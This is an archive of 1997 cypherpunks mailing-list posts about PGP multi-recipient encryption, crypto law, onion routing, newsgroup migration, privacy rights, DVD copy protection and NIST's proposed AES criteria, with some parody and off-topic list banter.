In-Reply-To: <3307FA3F.7B0B@coe.woodbine.md.us> Message-ID: <3.0.1.32.19970218233359.04736c50@popd.ix.netcom.com> At 01:27 AM 2/17/97 -0500, David Coe wrote: >If I were to PGP-encrypt the same exact message to a number of >different people, each copy with that person's public key, would >I be making it easy (or easier) for one (or a group) of those >recipients to compromise another recipient's private key? If you're doing it as N separate messages, you're using N separate IDEA session keys; IDEA's strong enough that's no risk, especially since they'll be using separate Initialization Vectors. If you use the multiple-recipient capability, which uses one copy of the message encrypted with one session key, and separate headers with the session key encrypted with each public key. If PGP didn't take precautions to prevent it, there are attacks on RSA which can be used when you encrypt the same message with different RSA keys. However, PGP pads the session key with different random padding for each session-key-encrypted-with-public-key header, so they're different messages, so there's no risk there either. So don't keep worrying about it; use whichever is more convenient. (But it was worth worrying about once. :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From juriaan_massenza at ctp.com Wed Feb 19 02:14:17 1997 From: juriaan_massenza at ctp.com (Juriaan Massenza) Date: Wed, 19 Feb 1997 02:14:17 -0800 (PST) Subject: We're in Anguilla! Comon down!!! Message-ID: ROFL. Rock on Bill! ;-) >-----Original Message----- >From: Bill Clinton [SMTP:president at whitehouse.gov] >Sent: Sunday, February 16, 1997 4:57 PM >To: Those cypher-rebels >Subject: We're in Anguilla! Comon down!!! > >My fellow cypherpunks, > > I wanted to let you all know, we are having a great time, building >a router to the 21st Century, down here in sunny Anguilla. Al and I will >be wiring Anguilla's great high school for the internet. Afterwards, we'll >meet with some longtime supporters of the democratic party for a beer. > > Spaces at the conference are still available, I didn't let those >folks at American strike, so you have no excuses to be anywhere else next >week. > >Willy >Citizen Unit 429-92-9947 > > From E.J.Koops at kub.nl Wed Feb 19 03:40:25 1997 From: E.J.Koops at kub.nl (Bert-Jaap Koops) Date: Wed, 19 Feb 1997 03:40:25 -0800 (PST) Subject: Crypto Law Survey updated Message-ID: <161EB252495@frw3.kub.nl> I have just updated my survey of existing and envisaged cryptography laws and regulations. See the Crypto Law Survey at http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm This update includes: - New lay-out. Digital signatures replaced to a separate overview. - New entries on Finland (export), Hong Kong (import, export), New Zealand (export), Poland (import) -Update on Australia (government encryption of classified data), Finland (no key-escrow), France (TTP law published), Japan (general position, wiretap law), Netherlands (extend decryption command), OECD (Group of Expert okays guidelines), Scandinavia (secure email system), Switzerland (telecom encryption, export), US (Karn appeal, annual figures report) -Corrections or clarifications on Australia (export, public domain software), Belgium (export), Germany (export), US (Bernstein, NRC report) -URLs changed in France (TTP law), US (Bernstein) Bert-Jaap From rah at shipwright.com Wed Feb 19 04:07:37 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 19 Feb 1997 04:07:37 -0800 (PST) Subject: Any more like www.anonymizer.com ?? In-Reply-To: <3.0.32.19691231160000.006a1e14@aa.net> Message-ID: At 8:29 pm -0500 on 2/18/97, ! Drive wrote: > A proposal and prototype of a different anonymity mechanism can be found at: > http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html And, of course, you can hear about the next generation from the same bunch, on Monday morning at FC97: Unlinkable Serial Transactions Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA), Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA), David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA) :-). Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From Patrick.Mullen at GSC.GTE.Com Wed Feb 19 06:03:51 1997 From: Patrick.Mullen at GSC.GTE.Com (Mullen, Patrick) Date: Wed, 19 Feb 1997 06:03:51 -0800 (PST) Subject: alt.cypherpunks.*, cypherpunks@*.* Message-ID: I just got my news admin to add alt.cypherpunks. Unfortunately, I can't remember the names of the subgroups (which weren't added), and I deleted the mailings which listed them. If I remember correctly, they were along the lines of alt.cypherpunks.technical alt.cypherpunks.social alt.cypherpunks.announce alt.cypherpunks.ebonics :-) Sorry, couldn't resist! Did I miss any? Name-mangle? I also have listed the following alternate list hosts cypherpunks at algebra.com cypherpunks at cyberpass.net cypherpunks at ssz.com If anyone has a more complete list of hosts, I'd be happy for additions to the list. Thanks! ~ Patrick From ichudov at algebra.com Wed Feb 19 06:21:15 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Wed, 19 Feb 1997 06:21:15 -0800 (PST) Subject: alt.cypherpunks.*, cypherpunks@*.* In-Reply-To: Message-ID: <199702191417.IAA30635@manifold.algebra.com> Mullen, Patrick wrote: > alt.cypherpunks.ebonics :-) Sorry, couldn't resist! > > Did I miss any? Name-mangle? alt.cypherpunks.purebred-sovoks > I also have listed the following alternate list hosts > > cypherpunks at algebra.com > cypherpunks at cyberpass.net > cypherpunks at ssz.com > > If anyone has a more complete list of hosts, I'd be happy > for additions to the list. Dave Hayes was going to create one: Dave Hayes wrote: Dave> To: freedom-knights at jetcafe.org, cypherpunks at toad.com Dave> Subject: Re: Moderation experiment almost over; "put up or shut up" Dave> Date: Fri, 14 Feb 1997 12:29:41 -0800 Dave> Sender: owner-cypherpunks at toad.com Dave> Precedence: bulk Dave> Dave> Ok. I'll "put up". Dave> Dave> If the cypherpunks will have me, -I'll- run the cypherpunks Dave> list. Those that know me know that I will *not* censor, moderate, or Dave> otherwise alter the content (other than the stuff majordomo does with Dave> "resend") of any messages to the list. and then wrote: Dave> To: freedom-knights at jetcafe.org Dave> Cc: dthorn at gte.net (Dale Thorn), ichudov at algebra.com, cypherpunks at toad.com Dave> Subject: Re: Moderation experiment almost over; "put up or shut up" Dave> Date: Sun, 16 Feb 1997 13:13:40 -0800 Dave> Dave> Kent Crispin writes: Dave> > Dave is offering a single mailing list, which, while I am sure Dave is Dave> > a great person, still represents a single point of control and a Dave> > single point of failure. A distributed mailing list has a potential Dave> > for being much more robust, and for supporting a wide range of Dave> > viewpoints. Dave> Dave> I can also offer my participation in the distributed mailing list, if Dave> that is what it takes to get cypherpunks free of control interests again. I am not sure if it already exists... - Igor. From azur at netcom.com Wed Feb 19 06:26:13 1997 From: azur at netcom.com (Steve Schear) Date: Wed, 19 Feb 1997 06:26:13 -0800 (PST) Subject: Still no sign of alt.cypherpunks heirarchy at Netcom Message-ID: <199702191426.GAA24908@toad.com> I'm tapping my toes, druming my fingers and waiting... --Steve From E.J.Koops at kub.nl Wed Feb 19 06:26:14 1997 From: E.J.Koops at kub.nl (Bert-Jaap Koops) Date: Wed, 19 Feb 1997 06:26:14 -0800 (PST) Subject: Crypto Law Survey updated Message-ID: <199702191426.GAA24913@toad.com> From stewarts at ix.netcom.com Wed Feb 19 06:26:20 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 19 Feb 1997 06:26:20 -0800 (PST) Subject: Raph Message-ID: <199702191426.GAA24931@toad.com> At 10:22 AM 2/18/97 -0500, Alec wrote: >I have found it convenient to retrieve Raph's list off c'punks, as opposed to >fingering. I do hope this service to the community will continue on one forum >or another. You can of course also get it from the web page listed in the listing... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From Mullen Wed Feb 19 06:26:24 1997 From: Mullen (Mullen) Date: Wed, 19 Feb 1997 06:26:24 -0800 (PST) Subject: alt.cypherpunks.*, cypherpunks@*.* Message-ID: <199702191426.GAA24938@toad.com> I just got my news admin to add alt.cypherpunks. Unfortunately, I can't remember the names of the subgroups (which weren't added), and I deleted the mailings which listed them. If I remember correctly, they were along the lines of alt.cypherpunks.technical alt.cypherpunks.social alt.cypherpunks.announce alt.cypherpunks.ebonics :-) Sorry, couldn't resist! Did I miss any? Name-mangle? I also have listed the following alternate list hosts cypherpunks at algebra.com cypherpunks at cyberpass.net cypherpunks at ssz.com If anyone has a more complete list of hosts, I'd be happy for additions to the list. Thanks! ~ Patrick From rah at shipwright.com Wed Feb 19 06:26:29 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 19 Feb 1997 06:26:29 -0800 (PST) Subject: Any more like www.anonymizer.com ?? Message-ID: <199702191426.GAA24944@toad.com> At 8:29 pm -0500 on 2/18/97, ! Drive wrote: > A proposal and prototype of a different anonymity mechanism can be found at: > http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html And, of course, you can hear about the next generation from the same bunch, on Monday morning at FC97: Unlinkable Serial Transactions Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA), Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA), David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA) :-). Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From stewarts at ix.netcom.com Wed Feb 19 06:26:37 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 19 Feb 1997 06:26:37 -0800 (PST) Subject: PGP key compromise with multiple independent encryptions of same message? Message-ID: <199702191426.GAA24957@toad.com> At 01:27 AM 2/17/97 -0500, David Coe wrote: >If I were to PGP-encrypt the same exact message to a number of >different people, each copy with that person's public key, would >I be making it easy (or easier) for one (or a group) of those >recipients to compromise another recipient's private key? If you're doing it as N separate messages, you're using N separate IDEA session keys; IDEA's strong enough that's no risk, especially since they'll be using separate Initialization Vectors. If you use the multiple-recipient capability, which uses one copy of the message encrypted with one session key, and separate headers with the session key encrypted with each public key. If PGP didn't take precautions to prevent it, there are attacks on RSA which can be used when you encrypt the same message with different RSA keys. However, PGP pads the session key with different random padding for each session-key-encrypted-with-public-key header, so they're different messages, so there's no risk there either. So don't keep worrying about it; use whichever is more convenient. (But it was worth worrying about once. :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From E.J.Koops at kub.nl Wed Feb 19 06:26:45 1997 From: E.J.Koops at kub.nl (Bert-Jaap Koops) Date: Wed, 19 Feb 1997 06:26:45 -0800 (PST) Subject: Crypto Law Survey updated Message-ID: <199702191426.GAA24958@toad.com> I have just updated my survey of existing and envisaged cryptography laws and regulations. See the Crypto Law Survey at http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm This update includes: - New lay-out. Digital signatures replaced to a separate overview. - New entries on Finland (export), Hong Kong (import, export), New Zealand (export), Poland (import) -Update on Australia (government encryption of classified data), Finland (no key-escrow), France (TTP law published), Japan (general position, wiretap law), Netherlands (extend decryption command), OECD (Group of Expert okays guidelines), Scandinavia (secure email system), Switzerland (telecom encryption, export), US (Karn appeal, annual figures report) -Corrections or clarifications on Australia (export, public domain software), Belgium (export), Germany (export), US (Bernstein, NRC report) -URLs changed in France (TTP law), US (Bernstein) Bert-Jaap From snow at smoke.suba.com Wed Feb 19 06:27:59 1997 From: snow at smoke.suba.com (snow) Date: Wed, 19 Feb 1997 06:27:59 -0800 (PST) Subject: alt.cypherpunks.ebonics Message-ID: <199702191427.GAA24974@toad.com> Mr. Bell wrote: > At 11:16 AM 2/18/97 -0500, Alec wrote: > >With the exceptions of AP (oh so clearly way off-topic), > Quite to the contrary, AP is NOT "oh so clearly way off-topic." First AP, > as I've sketched it uses many of the > encryption/digital-signature/verification techniques which are often > discussed here and are essentially universally agreed as being on-topic. Uhhh.... Jim? I think that Alec and friend were tweaking Igor. Think Sarcasm. Then again I could be wrong. I was once. From juriaan_massenza at ctp.com Wed Feb 19 06:28:02 1997 From: juriaan_massenza at ctp.com (Juriaan Massenza) Date: Wed, 19 Feb 1997 06:28:02 -0800 (PST) Subject: We're in Anguilla! Comon down!!! Message-ID: <199702191428.GAA24975@toad.com> ROFL. Rock on Bill! ;-) >-----Original Message----- >From: Bill Clinton [SMTP:president at whitehouse.gov] >Sent: Sunday, February 16, 1997 4:57 PM >To: Those cypher-rebels >Subject: We're in Anguilla! Comon down!!! > >My fellow cypherpunks, > > I wanted to let you all know, we are having a great time, building >a router to the 21st Century, down here in sunny Anguilla. Al and I will >be wiring Anguilla's great high school for the internet. Afterwards, we'll >meet with some longtime supporters of the democratic party for a beer. > > Spaces at the conference are still available, I didn't let those >folks at American strike, so you have no excuses to be anywhere else next >week. > >Willy >Citizen Unit 429-92-9947 > > From stewarts at ix.netcom.com Wed Feb 19 06:28:09 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 19 Feb 1997 06:28:09 -0800 (PST) Subject: Cypherpunks Mailing List (Was: Re: When and where?) Message-ID: <199702191428.GAA24979@toad.com> >Please post the date when this list will shift to Usenet if that is indeed to >happen. I have not been able to sort out the facts (?) from the speculation, >argument, and gas. There are a variety of approaches being pursued in parallel. You can subscribe to cypherpunks at Cyberpass.net by sending mail to majordomo at Cyberpass.net with the usual syntax (send it a message body of "help" if you want details.) It should gateway to the other mail servers as they develop. It's currently getting everything from cypherpunks at toad.com, which I've no unsubscribed to to avoid getting duplicate copies of everything. If you're one of those people getting one or more copies of the cypherpunks mailing list and you don't want to, find out where your mail is coming from and send mail to majordomo there.... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From snow at smoke.suba.com Wed Feb 19 06:28:15 1997 From: snow at smoke.suba.com (snow) Date: Wed, 19 Feb 1997 06:28:15 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702191428.GAA24981@toad.com> Mr. may wrote: > At 1:22 PM -0600 2/17/97, snow wrote: > > My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government > >can only, ONLY do what the constitution says it can. > But why do you not object that the "right to free speech," "the right to > keep and bear arms," and so on, are specifically enumeratedin the Bill of > Rights? The privacy issue is that there is no such enumeration of a right > to privacy in the Bill of Rights, though many think it to be implicit in > some of the other enumerated rights, e.g,, the Fourth, and even in the > First. Amendment X- (1791) The powers not delegated to the United States by the Constitution, nor prohibited by it to the states, are reserved to the states respectively, or to the people. As far as my reading goes, the Constitution (of which the BoR is a portion, IIR my "civics" (more like uncivics) classes properly) doesn't give the Feds the right to invade my privacy, and although not _explicit_, Also: Amendment IX -(1791) The enumeration in the Constitution, of certain rights, shall not be construed to deny or disparage others retained by the people. Seems to indicate that even if it isn't listed, we should still have it. Then: Amendment IV- (1791) The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no warrants shall issue, but upon probable cause, supported by oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized. Seems (to me, and IANAL) indicate that there is (at least in the minds of the writers) a distinction between _public_ information which is fair game, and public information, which is only fair game if there is enough public information to justify crossing that line. > Constitutional issues are not easily discussed in short messages like this. > Suffice it to say the issue of whether a "right to privacy" exists has been > long discussed, most recently by Bork, Posner, and others (I skimmed the > latest Posner book a while back, and liked his style). There is a big question in my mind whether things are so complicated that we need lawyers, or they are so complicated because we have lawyers. It seems to me that the constitution is written rather simply, at least prior to the 14th amendment. Congress Shall Make No Law... where is the confusion? It is the fact that some people "know best" what is good for others, and wish to enforce this "knowlege" upon the rest of us. God save me from your over zelous followers. > > The issue hit when abortion advocates argued that a "woman's right to > privacy" allowed abortions. However, none of the enumerated rights made > this obvious. Bork has opined that no right to privacy can be inferred from > the Constitution. > > (And I always thought the "woman's right to privacy" argument for abortion > was flaky. Accepting such an argument, wouldn't infanticide be equally > protected by a woman's right to privacy?) Or a man's. From azur at netcom.com Wed Feb 19 06:28:24 1997 From: azur at netcom.com (Steve Schear) Date: Wed, 19 Feb 1997 06:28:24 -0800 (PST) Subject: Why Digital Video Disks are late to market Message-ID: <199702191428.GAA24982@toad.com> Has anyone seen discussions on how these protection mechanisms can be circumvented? >http://techweb.cmp.com/eet/news/97/942news/encryp.html > >To summarize, the Digital Video Disk standard contains an encryption >standard for copyright and anti-piracy protection. however, "some U.S. >PC and silicon vendors have just about abandoned hope of keeping to >their revised launch schedules for DVD-enabled systems." [snip] >A solution may be in the offing within days. Some sources said late last >week that Matsushita [who owns license rights] and key U.S. computer >companies may resolve the software-licensing issues by the end of this >week. The PC industry seeks amendments to the licensing-agreement language >that would result in equivalent treatment of software- and hardware-based >CSS decryption. > >... there apparently has been some speculation among the U.S. PC community >that Matsushita may be stonewalling on the software-licensing issue so that >it can establish its hardware-based decryption solution in the marketplace. > --Steve From jer+ at andrew.cmu.edu Wed Feb 19 06:56:46 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Wed, 19 Feb 1997 06:56:46 -0800 (PST) Subject: Why Digital Video Disks are late to market In-Reply-To: Message-ID: <0n2lDx200YUf047JA0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- azur at netcom.com (Steve Schear) writes: > Has anyone seen discussions on how these protection mechanisms can be > circumvented? Ummm, sector copy? AFAIK, the reader/writer manfacturer is trusted to cripple any copies it makes. Of course, it's all software, so if some EVIL person were to write a driver that did not honor the "don't copy me" header, society would just come crashing down around us. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwsT98kz/YzIV3P5AQFzRgMA1FLUxHHCv509ucqHbysLFQZCGplZbfXj Z3J9FAicOwmMp/6G1kCATc7193ZxbgpHfhNQ7Z+SIEPaxusL5MjkrWuCvoB9Kh4s JTyspKmgBVJ+/RnIro+QeRHqFH8atowh =7SI9 -----END PGP SIGNATURE----- From dthorn at gte.net Wed Feb 19 07:02:37 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 19 Feb 1997 07:02:37 -0800 (PST) Subject: alt.cypherpunks.ebonics In-Reply-To: <3.0.1.32.19970218111658.006c4174@smtp1.abraxis.com> Message-ID: <330A8A51.1B33@gte.net> Alec wrote: > A friend, who, in the CP tradition requested to remain anonymous, and I were > doing an informal analysis of those subjects/topics which over the past year > generated the most discussion and, by implication, interest on the CP list. > Since the list at that time was reportedly unmoderated, we felt some weight > should be given to members' interests/desires as measured by their posts, > regardless of the applicability to the list topic. > With the exceptions of AP (oh so clearly way off-topic), list censorship (too > tedious), and remarks either questioning or affirming the > sexuality/virility/femininity (or lack thereof ) of almost every CP > subscriber, the topic which claimed the most bandwidth was Ebonics. > You name it; just about every well-known c'punk jumped in to make some > urbane statement on this, sadly, now dead and ignored issue. > Nevertheless, the bandwidth was there! What does it mean "now dead and ignored"? Today, the L.A. Times had more major coverage of the issue and how the L.A. school board is pushing ahead on Ebonics. There were several examples of books given in the article which used Ebonics (more-or-less) the their choice of linquistic style. I'd say it's just getting off the ground. From dthorn at gte.net Wed Feb 19 07:11:05 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 19 Feb 1997 07:11:05 -0800 (PST) Subject: Cypherpunks FAQ In-Reply-To: <199702190047.SAA22544@manifold.algebra.com> Message-ID: <330B17E8.17D4@gte.net> Igor Chudov @ home wrote: > Toto wrote: > > The primal instinct of those with interest in 'control' is centered > > around the need for 'total' control. The history of dictators in > > general has shown more than a few who have allowed the sheep to escape > > from their pens while they were fixated on chasing down the few 'black > > sheep' that had strayed from their control. > > The CypherPunks list is a prime example of this. John and Sandy became > > so fixated on their attack on Dr. Vulis (and subsequent 'dissenters') > > that they eventually lost control of the other sheep in the fold who > > were willing to go along with a 'moderate' abrogation of their right > > to free speech by the censoring of only the 'black' sheep. > Take no offense, but why nobody thought about an obviously more likely > conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to > destroy cypherpunks. I personally find the above unlikely, but at least > more likely than all other suggestions (which I think are an example > of the delusion of grandeur). Remember the movie Die Hard (#1)? Remember what the wife said about how her husband would drive people stark, raving mad? I humbly suggest by analogy that it was me, since that is my effect on a lot of people, particularly (and especially) the John and Sandy types. From jbugden at smtplink.alis.ca Wed Feb 19 07:15:00 1997 From: jbugden at smtplink.alis.ca (jbugden at smtplink.alis.ca) Date: Wed, 19 Feb 1997 07:15:00 -0800 (PST) Subject: Belated thank you's Message-ID: <9701198563.AA856376072@smtplink.alis.ca> It seems somewhat trite to say thank you for the service John provided now that it is going away, when while it was here it was taken for granted. Still, I will say thank you. Perhaps in this respect it is like good health, which while it is ours is not given much though, but once lost, becomes the whole of our thoughts. The loss of John's involvement is a real loss. At the same time, I would like to think that virtual communities such as this one are robust enough to survive the type of strife that we have undergone. People being what they are, the list would have had a hard time staying static without some strong guiding focus. Given the anarchic leanings of many people on this list, John's actions have done much to test the practicality of the principles that have been spoken about here. They may also show how much work it is to follow these same principles. Still, I wonder how John will feel about the cypherpunks list as it moves beyond him. Will it grow and become widespread? Or, will it slowly die from lack of interest or time? I think he might not like either answer. A la prochain fois, James The advancement and perfection of mathematics are intimately connected with the prosperity of the State. - Napoleon I From dthorn at gte.net Wed Feb 19 07:23:56 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 19 Feb 1997 07:23:56 -0800 (PST) Subject: Constitution and a Right to Privacy In-Reply-To: <199702190741.BAA03633@smoke.suba.com> Message-ID: <330B1AC7.9D2@gte.net> snow wrote: > Mr. may wrote: > > At 1:22 PM -0600 2/17/97, snow wrote: > Amendment IV- > (1791) The right of the people to be secure in their persons, houses, papers, > and effects, against unreasonable searches and seizures, shall not be violated, > and no warrants shall issue, but upon probable cause, supported by oath or > affirmation, and particularly describing the place to be searched, and the > persons or things to be seized. > It seems to me that the constitution is written rather simply, at least > prior to the 14th amendment. Congress Shall Make No Law... where is the > confusion? Simple, but.... In a right to jury trial of peers, are the peers the peers of the defendant or the peers of the victim? Both the Rodney King officers and the O.J. cases were perfect examples of how, when you switch the peer groups, you reverse the decisions. From paul at fatmans.demon.co.uk Wed Feb 19 07:25:13 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 19 Feb 1997 07:25:13 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <856365426.1116703.0@fatmans.demon.co.uk> > However, I'm very confused on just what to do at this > point, my news server doesn't see alt.cypherpunks > yet and if it did would probably lose about 75% of > the posts if past performance is to be any indicator. > (Or more accurately, would never get them, we seem > to be a bottom feeder here in South Florida as far > as the newsgroups go.) try pubnews.demon.co.uk, its a public server open to everyone and his dog, recognises all newsgroups, doesn`t accept rmgroups and is quite fast (quickest line between UK and USA, 100mbit/sec as I remember). Alternatively there is always dejanews.com Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From Patrick.Mullen at GSC.GTE.Com Wed Feb 19 07:48:10 1997 From: Patrick.Mullen at GSC.GTE.Com (Mullen, Patrick) Date: Wed, 19 Feb 1997 07:48:10 -0800 (PST) Subject: FW: Rules for The Great DES Replacement Contest Message-ID: >---------- Forwarded message ---------- >Date: Wed, 19 Feb 1997 09:24:38 -0500 (EST) >From: Christof Paar >To: christof at ece.WPI.EDU >Subject: (fwd) Rules for The Great DES Replacement Contest >Newsgroups: sci.crypt > > >Rules for The Great DES Replacement Contest > >On 1997 Jan 02, the National Institute of Standards and Technology >of The Department of Commerce announced the start of a process to >approve an "Advanced Encryption Standard." (See the Federal >Register Vol. 62, No. 1, pp. 93-94; for example, by going to > > http://www.lib.auburn.edu/gpo/index.html > >and searching the Federal Register for "Advanced Encryption >Standard.") > > >The first part of the process seems to be requesting comments >on the cipher requirements and submission guidelines as follows: > >"Proposed Draft Minimum Acceptability Requirements and Evaluation >Criteria > > "The draft minimum acceptability requirements and evaluation >criteria are: > A.1 AES shall be publicly defined. > A.2 AES shall be a symmetric block cipher. > A.3 AES shall be designed so that the key length may be increased >as needed. > A.4 AES shall be implementable in both hardware and software. > A.5 AES shall either be (a) freely available or (b) available >under terms consistent with the American National Standards Institute >(ANSI) patent policy. > A.6 Algorithms which meet the above requirements will be judged >based on the following factors: > (a) Security (i.e., the effort required to cryptanalyze), > (b) Computational efficiency, > (c) Memory requirements, > (d) Hardware and software suitability, > (e) Simplicity, > (f) Flexibility, and > (g) Licensing requirements." > > >"Proposed Draft Submission Requirements" > > "In order to provide for an orderly, fair, and timely evaluation of >candidate algorithm proposals, submission requirements will specify the >procedures and supporting documentation necessary to submit a candidate >algorithm. > > B.1 A complete written specification of the algorithm including >all necessary mathematical equations, tables, and parameters needed to >implement the algorithm. > B.2 Software implementation and source code, in ANSI C code, which >will compile on a personal computer. This code will be used to compare >software performance and memory requirements with respect to other >algorithms. > B.3 Statement of estimated computational efficiency in hardware >and software. > B.4 Encryption example mapping a specified plaintext value into >ciphertext. > B.5 Statement of licensing requirements and patents which may be >infringed by implementations of this algorithm. > B.6 An analysis of the algorithm with respect to known attacks. > B.7 Statement of advantages and limitations of the submitted >algorithm." > > From tcmay at got.net Wed Feb 19 08:37:48 1997 From: tcmay at got.net (Tim May) Date: Wed, 19 Feb 1997 08:37:48 -0800 (PST) Subject: alt.cypherpunks.*, cypherpunks@*.* Message-ID: <199702191630.IAA13988@you.got.net> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks) At 9:02 AM -0500 2/19/97, Mullen, Patrick wrote: >I just got my news admin to add alt.cypherpunks. Unfortunately, I can't >remember the names of the subgroups (which weren't added), and I >deleted the mailings which listed them. > >If I remember correctly, they were along the lines of > >alt.cypherpunks.technical >alt.cypherpunks.social >alt.cypherpunks.announce >alt.cypherpunks.ebonics :-) Sorry, couldn't resist! Patrick reminds us of why a simple name like "alt.cypherpunks" is preferable to an extensive hierarchy: "I can't remember the names of the subgroups." It was a mistake, I believe, to create the various subgroups, and I hope they fail to propagate. I'd rather use more capable newsreading tools to scan _one_ group and follow interesting threads in it than try to remember what got posted where. And I especially don't want to see the predictable carping about how some topic "belongs" in one of the other groups! And many will simply cross-post their stuff to more than one of the groups, trying to guess which are most relevant, which are being read by enough people, etc. Even at a hundred messages a day, a single group is easily managed. And having four of them will not cut the traffic in the main group significantly. --Tim May, who plans to only post to the main group. -- Boycott "Big Brother Inside" software! We got computers, we're tapping phone lines, we know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Licensed Ontologist | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jer+ at andrew.cmu.edu Wed Feb 19 08:57:38 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Wed, 19 Feb 1997 08:57:38 -0800 (PST) Subject: Why Digital Video Disks are late to market Message-ID: <199702191657.IAA26698@toad.com> -----BEGIN PGP SIGNED MESSAGE----- azur at netcom.com (Steve Schear) writes: > Has anyone seen discussions on how these protection mechanisms can be > circumvented? Ummm, sector copy? AFAIK, the reader/writer manfacturer is trusted to cripple any copies it makes. Of course, it's all software, so if some EVIL person were to write a driver that did not honor the "don't copy me" header, society would just come crashing down around us. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwsT98kz/YzIV3P5AQFzRgMA1FLUxHHCv509ucqHbysLFQZCGplZbfXj Z3J9FAicOwmMp/6G1kCATc7193ZxbgpHfhNQ7Z+SIEPaxusL5MjkrWuCvoB9Kh4s JTyspKmgBVJ+/RnIro+QeRHqFH8atowh =7SI9 -----END PGP SIGNATURE----- From ichudov at algebra.com Wed Feb 19 08:57:51 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Wed, 19 Feb 1997 08:57:51 -0800 (PST) Subject: alt.cypherpunks.*, cypherpunks@*.* Message-ID: <199702191657.IAA26706@toad.com> Mullen, Patrick wrote: > alt.cypherpunks.ebonics :-) Sorry, couldn't resist! > > Did I miss any? Name-mangle? alt.cypherpunks.purebred-sovoks > I also have listed the following alternate list hosts > > cypherpunks at algebra.com > cypherpunks at cyberpass.net > cypherpunks at ssz.com > > If anyone has a more complete list of hosts, I'd be happy > for additions to the list. Dave Hayes was going to create one: Dave Hayes wrote: Dave> To: freedom-knights at jetcafe.org, cypherpunks at toad.com Dave> Subject: Re: Moderation experiment almost over; "put up or shut up" Dave> Date: Fri, 14 Feb 1997 12:29:41 -0800 Dave> Sender: owner-cypherpunks at toad.com Dave> Precedence: bulk Dave> Dave> Ok. I'll "put up". Dave> Dave> If the cypherpunks will have me, -I'll- run the cypherpunks Dave> list. Those that know me know that I will *not* censor, moderate, or Dave> otherwise alter the content (other than the stuff majordomo does with Dave> "resend") of any messages to the list. and then wrote: Dave> To: freedom-knights at jetcafe.org Dave> Cc: dthorn at gte.net (Dale Thorn), ichudov at algebra.com, cypherpunks at toad.com Dave> Subject: Re: Moderation experiment almost over; "put up or shut up" Dave> Date: Sun, 16 Feb 1997 13:13:40 -0800 Dave> Dave> Kent Crispin writes: Dave> > Dave is offering a single mailing list, which, while I am sure Dave is Dave> > a great person, still represents a single point of control and a Dave> > single point of failure. A distributed mailing list has a potential Dave> > for being much more robust, and for supporting a wide range of Dave> > viewpoints. Dave> Dave> I can also offer my participation in the distributed mailing list, if 